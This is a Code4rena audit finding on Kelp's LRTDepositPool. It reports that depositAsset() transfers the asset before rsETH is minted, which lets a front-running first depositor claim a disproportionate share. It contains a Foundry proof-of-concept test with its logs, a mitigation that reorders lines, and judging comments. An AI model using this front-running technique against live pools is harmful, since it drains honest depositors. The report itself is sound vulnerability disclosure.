Incorrect rsETH Amount Being Minted Due to Early Transfer of Asset in the `depositAsset()` Function

[c4-submissions]

Lines of code

https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L119-L144 https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L151-L157 https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTDepositPool.sol#L95-L110 https://github.com/code-423n4/2023-11-kelp/blob/f751d7594051c0766c7ecd1e68daeb0661e43ee3/src/LRTOracle.sol#L52-L79

Vulnerability details

Impact

In the LRTDepositPool contract, users use the depositAsset() function to deposit their LST asset and receive the minted rsETH in return. The bug in this function is that the asset is transferred to address(this) before the rsETH is minted to the user. The reason that the order matters is that in calculating the amount of rsETH to mint, the asset balance of address(this) can have a significant influence on the amount of rsETH to be minted. A malicious user could front run normal deposit transactions and deposit a small amount of asset in return for a large rsETH balance, when compared to subsequent normal deposit transactions. This enables a malicious user to subsequently withdraw a disproportionate amount of LST asset when they burn the rsETH.

Proof of Concept

In the PoC below, Alice deposits a very small amount (1e3) of asset and receive the same amount of rsETH in return.

Subsequently, Bob deposits 1e18 amount of asset, but receives less rsETH than what Alice received, despite a deposit size that is 1e15 times bigger than Alice.

This shows that a malicious user Alice can front run normal deposit transactions and receive a disproportionate amount of rsETH.

// SPDX-License-Identifier: UNLICENSED

pragma solidity 0.8.21;

import { BaseTest } from "./BaseTest.t.sol";
import { LRTDepositPool } from "src/LRTDepositPool.sol";
import { RSETHTest, ILRTConfig, UtilLib, LRTConstants } from "./RSETHTest.t.sol";
import { ILRTDepositPool } from "src/interfaces/ILRTDepositPool.sol";
import { LRTOracle } from "src/LRTOracle.sol";

import { TransparentUpgradeableProxy } from "@openzeppelin/contracts/proxy/transparent/TransparentUpgradeableProxy.sol";
import { ProxyAdmin } from "@openzeppelin/contracts/proxy/transparent/ProxyAdmin.sol";
import "forge-std/console.sol";

contract MockPriceOracle {
    function getAssetPrice(address) external pure returns (uint256) {
        return 1 ether;
    }
}

contract NewTest is BaseTest, RSETHTest {
    LRTDepositPool public lrtDepositPool;
    MockPriceOracle public mockOracle;

    function setUp() public virtual override(RSETHTest, BaseTest) {
        super.setUp();

        // deploy LRTDepositPool
        ProxyAdmin proxyAdmin = new ProxyAdmin();
        LRTDepositPool contractImpl = new LRTDepositPool();
        TransparentUpgradeableProxy contractProxy = new TransparentUpgradeableProxy(
            address(contractImpl),
            address(proxyAdmin),
            ""
        );

        lrtDepositPool = LRTDepositPool(address(contractProxy));

        // initialize RSETH. LRTCOnfig is already initialized in RSETHTest
        rseth.initialize(address(admin), address(lrtConfig));
        vm.startPrank(admin);
        lrtConfig.grantRole(LRTConstants.MANAGER, manager);
        lrtConfig.setContract(LRTConstants.LRT_DEPOSIT_POOL, address(lrtDepositPool));
        // add rsETH to LRT config
        lrtConfig.setRSETH(address(rseth));

        // add minter role for rseth to lrtDepositPool
        rseth.grantRole(rseth.MINTER_ROLE(), address(lrtDepositPool));

        // initialize oracle
        LRTOracle lrtOracleImpl = new LRTOracle();
        TransparentUpgradeableProxy lrtOracleProxy = new TransparentUpgradeableProxy(
            address(lrtOracleImpl),
            address(proxyAdmin),
            ""
        );

        LRTOracle(address(lrtOracleProxy)).initialize(address(lrtConfig));

        lrtConfig.setContract(LRTConstants.LRT_ORACLE, address(lrtOracleProxy));

        vm.stopPrank();

        vm.startPrank(manager);

        mockOracle = new MockPriceOracle();

        LRTOracle(address(lrtOracleProxy)).updatePriceOracleFor(address(rETH), address(mockOracle) );
        LRTOracle(address(lrtOracleProxy)).updatePriceOracleFor(address(stETH), address(mockOracle) );
        LRTOracle(address(lrtOracleProxy)).updatePriceOracleFor(address(cbETH), address(mockOracle) );

        vm.stopPrank();

        // initialize LRTDepositPool
        lrtDepositPool.initialize(address(lrtConfig));

        // add manager role within LRTConfig
        vm.startPrank(admin);
        lrtConfig.grantRole(LRTConstants.MANAGER, manager);
        vm.stopPrank();
    }

    function test_FirstMint() external{
        uint256 firstDeposit = 1e3;

        vm.startPrank(alice);

        rETH.approve(address(lrtDepositPool), firstDeposit);
        lrtDepositPool.depositAsset(address(rETH), firstDeposit);
        console.log(rseth.balanceOf(address(alice)));

        vm.stopPrank();

        uint256 normalDeposit = 1 ether;

        vm.startPrank(bob);

        rETH.approve(address(lrtDepositPool), normalDeposit);
        lrtDepositPool.depositAsset(address(rETH), normalDeposit);
        console.log(rseth.balanceOf(address(bob)));

        vm.stopPrank();
    }
}

Running 1 test for test/NewTest.t.sol:NewTest
[PASS] test_FirstMint() (gas: 311332)
Logs:
  Alice rsETH balance: 1000
  Bob rsETH balance: 999

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.11ms

Tools Used

Manual Review

Recommended Mitigation Steps

The above can be fixed if we simply swap L136-138 with L141 in the LRTDepositPool contract, so that the asset transfer occurs after calculating the correct amount of rsETH to be minted to the user. With this change, we could see that the same test returns the following amount, in which Bob's rsETH balance is now proportional to the amount of asset he contributes relative to Alice.

Running 1 test for test/NewTest.t.sol:NewTest
[PASS] test_FirstMint() (gas: 311332)
Logs:
  Alice rsETH balance: 1000
  Bob rsETH balance: 1000000000000000000

Test result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.19ms

Assessed type

ERC4626

[c4-pre-sort]

raymondfam marked the issue as sufficient quality report

[c4-pre-sort]

raymondfam marked the issue as duplicate of #62

[c4-judge]

fatherGoose1 marked the issue as satisfactory

[c4-judge]

fatherGoose1 changed the severity to 2 (Med Risk)

[c4-judge]

fatherGoose1 changed the severity to 3 (High Risk)